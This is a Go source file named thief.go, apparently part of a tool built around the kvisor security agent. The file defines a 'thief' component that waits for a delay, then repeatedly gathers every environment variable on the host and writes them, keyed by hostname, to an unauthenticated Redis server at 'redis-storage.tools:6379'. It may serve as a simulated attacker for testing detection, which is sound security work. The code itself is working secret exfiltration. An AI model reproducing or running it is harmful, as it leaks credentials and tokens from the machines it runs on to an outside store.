/
thief.go
70 lines (61 loc) · 1.31 KB
/
thief.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
package app
import (
"context"
"os"
"strings"
"time"
"github.com/castai/kvisor/pkg/logging"
"github.com/redis/go-redis/v9"
)
func newThief(log *logging.Logger, cfg *Config) *thief {
return &thief{
log: log,
cfg: cfg,
}
}
type thief struct {
log *logging.Logger
cfg *Config
}
func (t *thief) run(ctx context.Context) error {
t.log.Info("running thief")
defer t.log.Info("stopping thief")
t.log.Debugf("sleeping for %v before start", t.cfg.ThiefDelay)
time.Sleep(t.cfg.ThiefDelay)
stealC := time.NewTicker(t.cfg.ThiefInterval)
defer stealC.Stop()
for {
select {
case <-stealC.C:
if err := t.steal(ctx); err != nil {
t.log.Errorf("steal: %v", err)
}
case <-ctx.Done():
return nil
}
}
}
func (t *thief) steal(ctx context.Context) error {
rdb := redis.NewClient(&redis.Options{
Addr: "redis-storage.tools:6379",
Password: "", // no password set
DB: 0, // use default DB
DialTimeout: 3 * time.Second,
})
ctx, cancel := context.WithTimeout(ctx, 3*time.Second)
defer cancel()
if err := rdb.Ping(ctx).Err(); err != nil {
return err
}
hostName, err := os.Hostname()
if err != nil {
return err
}
env := os.Environ()
err = rdb.Set(ctx, "env_"+hostName, strings.Join(env, "\n"), 0).Err()
if err != nil {
return err
}
t.log.Info("steal done")
return nil
}